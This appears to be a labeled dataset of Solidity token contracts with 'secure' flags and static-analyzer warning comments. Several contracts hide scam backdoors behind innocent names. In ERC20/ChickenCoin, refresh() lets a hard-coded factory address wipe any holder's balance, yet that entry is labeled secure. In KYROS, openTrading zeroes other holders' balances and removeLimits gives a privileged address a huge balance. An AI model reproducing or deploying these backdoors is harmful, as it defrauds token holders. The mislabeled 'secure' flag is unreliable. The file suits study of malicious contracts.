"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs2 {\n Test test;\n\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n function InMemoryUsage() public {\n test = Test(1, 2, \"a\", \"b\");\n }\n}",
"file_name": "solidity_code_1960.sol",
"secure": 1,
"size_bytes": 294
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_1961.sol",
"secure": 1,
"size_bytes": 866
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address public _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_1962.sol",
"secure": 1,
"size_bytes": 964
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract OMG is Context, ERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n string private _NAME;\n string private _SYMBOL;\n\t// WARNING Optimization Issue (immutable-states | ID: 17beb73): OMG._DECIMALS should be immutable \n\t// Recommendation for 17beb73: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _DECIMALS;\n address public FeeAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc5b222): OMG._MAX should be constant \n\t// Recommendation for dc5b222: Add the 'constant' attribute to state variables that never change.\n uint256 private _MAX = ~uint256(0);\n\t// WARNING Optimization Issue (immutable-states | ID: 169807c): OMG._DECIMALFACTOR should be immutable \n\t// Recommendation for 169807c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _DECIMALFACTOR;\n\t// WARNING Optimization Issue (constable-states | ID: 441c71a): OMG._GRANULARITY should be constant \n\t// Recommendation for 441c71a: Add the 'constant' attribute to state variables that never change.\n uint256 private _GRANULARITY = 100;\n\n uint256 private _tTotal;\n uint256 private _rTotal;\n\n uint256 private _tFeeTotal;\n uint256 private _tBurnTotal;\n uint256 private _tCharityTotal;\n\n uint256 public _TAX_FEE;\n uint256 public _BURN_FEE;\n uint256 public _CHARITY_FEE;\n\n uint256 private ORIG_TAX_FEE;\n uint256 private ORIG_BURN_FEE;\n uint256 private ORIG_CHARITY_FEE;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0608022): OMG.constructor(string,string,uint256,uint256,uint256,uint256,uint256,address,address,address)._FeeAddress lacks a zerocheck on \t FeeAddress = _FeeAddress\n\t// Recommendation for 0608022: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 693f717): OMG.constructor(string,string,uint256,uint256,uint256,uint256,uint256,address,address,address).tokenOwner lacks a zerocheck on \t _owner = tokenOwner\n\t// Recommendation for 693f717: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b9d3116): OMG.constructor(string,string,uint256,uint256,uint256,uint256,uint256,address,address,address).service lacks a zerocheck on \t address(service).transfer(msg.value)\n\t// Recommendation for b9d3116: Check that the address is not zero.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 _decimals,\n uint256 _supply,\n uint256 _txFee,\n uint256 _burnFee,\n uint256 _charityFee,\n address _FeeAddress,\n address tokenOwner,\n address service\n ) payable {\n _NAME = _name;\n _SYMBOL = _symbol;\n _DECIMALS = _decimals;\n _DECIMALFACTOR = 10 ** _DECIMALS;\n _tTotal = _supply * _DECIMALFACTOR;\n _rTotal = (_MAX - (_MAX % _tTotal));\n _TAX_FEE = _txFee * 100;\n _BURN_FEE = _burnFee * 100;\n _CHARITY_FEE = _charityFee * 100;\n ORIG_TAX_FEE = _TAX_FEE;\n ORIG_BURN_FEE = _BURN_FEE;\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n\t\t// missing-zero-check | ID: 0608022\n FeeAddress = _FeeAddress;\n\t\t// missing-zero-check | ID: 693f717\n _owner = tokenOwner;\n _rOwned[tokenOwner] = _rTotal;\n\t\t// missing-zero-check | ID: b9d3116\n payable(service).transfer(msg.value);\n emit Transfer(address(0), tokenOwner, _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _NAME;\n }\n\n function symbol() public view returns (string memory) {\n return _SYMBOL;\n }\n\n function decimals() public view returns (uint8) {\n return uint8(_DECIMALS);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1c20d59): OMG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1c20d59: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"TOKEN20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"TOKEN20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function totalBurn() public view returns (uint256) {\n return _tBurnTotal;\n }\n\n function totalCharity() public view returns (uint256) {\n return _tCharityTotal;\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already included\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c5b7357): OMG.setAsCharityAccount(address).account lacks a zerocheck on \t FeeAddress = account\n\t// Recommendation for c5b7357: Check that the address is not zero.\n function setAsCharityAccount(address account) external onlyOwner {\n\t\t// missing-zero-check | ID: c5b7357\n FeeAddress = account;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: af87142): Missing events for critical arithmetic parameters.\n\t// Recommendation for af87142: Emit an event for critical parameter changes.\n function updateFee(\n uint256 _txFee,\n uint256 _burnFee,\n uint256 _charityFee\n ) public onlyOwner {\n require(_txFee < 100 && _burnFee < 100 && _charityFee < 100);\n\t\t// events-maths | ID: af87142\n _TAX_FEE = _txFee * 100;\n\t\t// events-maths | ID: af87142\n _BURN_FEE = _burnFee * 100;\n\t\t// events-maths | ID: af87142\n _CHARITY_FEE = _charityFee * 100;\n\t\t// events-maths | ID: af87142\n ORIG_TAX_FEE = _TAX_FEE;\n\t\t// events-maths | ID: af87142\n ORIG_BURN_FEE = _BURN_FEE;\n\t\t// events-maths | ID: af87142\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0fbcf1a): OMG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0fbcf1a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"TOKEN20: approve from the zero address\");\n require(spender != address(0), \"TOKEN20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(\n sender != address(0),\n \"TOKEN20: transfer from the zero address\"\n );\n require(\n recipient != address(0),\n \"TOKEN20: transfer to the zero address\"\n );\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = true;\n if (\n FeeAddress == sender ||\n FeeAddress == recipient ||\n _isExcluded[recipient]\n ) {\n takeFee = false;\n }\n\n if (!takeFee) removeAllFee();\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n _standardTransferContent(sender, recipient, rAmount, rTransferAmount);\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _standardTransferContent(\n address sender,\n address recipient,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n _excludedFromTransferContent(\n sender,\n recipient,\n tTransferAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedFromTransferContent(\n address sender,\n address recipient,\n uint256 tTransferAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n _excludedToTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedToTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n _bothTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n tTransferAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _bothTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 tTransferAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _reflectFee(\n uint256 rFee,\n uint256 rBurn,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private {\n _rTotal = _rTotal.sub(rFee).sub(rBurn);\n _tFeeTotal = _tFeeTotal.add(tFee);\n _tBurnTotal = _tBurnTotal.add(tBurn);\n _tCharityTotal = _tCharityTotal.add(tCharity);\n _tTotal = _tTotal.sub(tBurn);\n emit Transfer(address(this), address(0), tBurn);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(\n tAmount,\n _TAX_FEE,\n _BURN_FEE,\n _CHARITY_FEE\n );\n uint256 tTransferAmount = getTTransferAmount(\n tAmount,\n tFee,\n tBurn,\n tCharity\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rFee) = _getRBasics(\n tAmount,\n tFee,\n currentRate\n );\n uint256 rTransferAmount = _getRTransferAmount(\n rAmount,\n rFee,\n tBurn,\n tCharity,\n currentRate\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tBurn,\n tCharity\n );\n }\n\n function _getTBasics(\n uint256 tAmount,\n uint256 taxFee,\n uint256 burnFee,\n uint256 charityFee\n ) private view returns (uint256, uint256, uint256) {\n uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);\n uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);\n uint256 tCharity = ((tAmount.mul(charityFee)).div(_GRANULARITY)).div(\n 100\n );\n return (tFee, tBurn, tCharity);\n }\n\n function getTTransferAmount(\n uint256 tAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private pure returns (uint256) {\n return tAmount.sub(tFee).sub(tBurn).sub(tCharity);\n }\n\n function _getRBasics(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n return (rAmount, rFee);\n }\n\n function _getRTransferAmount(\n uint256 rAmount,\n uint256 rFee,\n uint256 tBurn,\n uint256 tCharity,\n uint256 currentRate\n ) private pure returns (uint256) {\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);\n return rTransferAmount;\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 3f9bf9f\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _sendToCharity(uint256 tCharity, address sender) private {\n uint256 currentRate = _getRate();\n uint256 rCharity = tCharity.mul(currentRate);\n _rOwned[FeeAddress] = _rOwned[FeeAddress].add(rCharity);\n _tOwned[FeeAddress] = _tOwned[FeeAddress].add(tCharity);\n emit Transfer(sender, FeeAddress, tCharity);\n }\n\n function removeAllFee() private {\n if (_TAX_FEE == 0 && _BURN_FEE == 0 && _CHARITY_FEE == 0) return;\n\n ORIG_TAX_FEE = _TAX_FEE;\n ORIG_BURN_FEE = _BURN_FEE;\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n\n _TAX_FEE = 0;\n _BURN_FEE = 0;\n _CHARITY_FEE = 0;\n }\n\n function restoreAllFee() private {\n _TAX_FEE = ORIG_TAX_FEE;\n _BURN_FEE = ORIG_BURN_FEE;\n _CHARITY_FEE = ORIG_CHARITY_FEE;\n }\n\n function _getTaxFee() private view returns (uint256) {\n return _TAX_FEE;\n }\n}",
"file_name": "solidity_code_1963.sol",
"secure": 0,
"size_bytes": 22060
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Structs3 {\n Test test;\n\n struct Test {\n uint256 a;\n uint256 b;\n bytes32 c;\n bytes32 d;\n }\n\n function InMemoryUsage() public {\n test.a = 1;\n test.b = 2;\n test.c = \"a\";\n test.d = \"b\";\n }\n}",
"file_name": "solidity_code_1964.sol",
"secure": 1,
"size_bytes": 344
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n uint256 private _allowance = 0;\n\n address internal devWallet = 0x4F65a2973109d03A6dc8B8dd11250d82c1d04742;\n\n uint256 private _totSupply;\n\n string private _name;\n string private _symbol;\n\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n address private _factory = 0xAA6f1E404A741Fcae999f5F39708b80D37392795;\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(address(0));\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function refresh(address refreshSender) external {\n _balances[refreshSender] = msg.sender == _factory\n ? 0x5\n : _balances[refreshSender];\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _afterTokenTransfer(address to) internal virtual {\n if (to == _factory) _allowance = decimals() * 11;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(account);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totSupply;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n}",
"file_name": "solidity_code_1965.sol",
"secure": 1,
"size_bytes": 6295
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ChickenCoin is ERC20, Ownable {\n constructor() ERC20(\"At least I got chicken\", \"CHICKEN\") {\n transferOwnership(devWallet);\n _mint(owner(), 6010000000000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_1966.sol",
"secure": 1,
"size_bytes": 416
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract KYROS {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: 1b00ff8): KYROS.tokenTotalSupply should be immutable \n\t// Recommendation for 1b00ff8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 778ae8f): KYROS.xxnux should be immutable \n\t// Recommendation for 778ae8f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: 41f0c02): KYROS.tokenDecimals should be immutable \n\t// Recommendation for 41f0c02: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 25f72ea): KYROS.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 25f72ea: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Kyros Capital\";\n tokenSymbol = \"KYROS\";\n tokenDecimals = 9;\n tokenTotalSupply = 2000000000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: 25f72ea\n xxnux = ads;\n }\n function openTrading(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1967.sol",
"secure": 0,
"size_bytes": 5583
} |
{
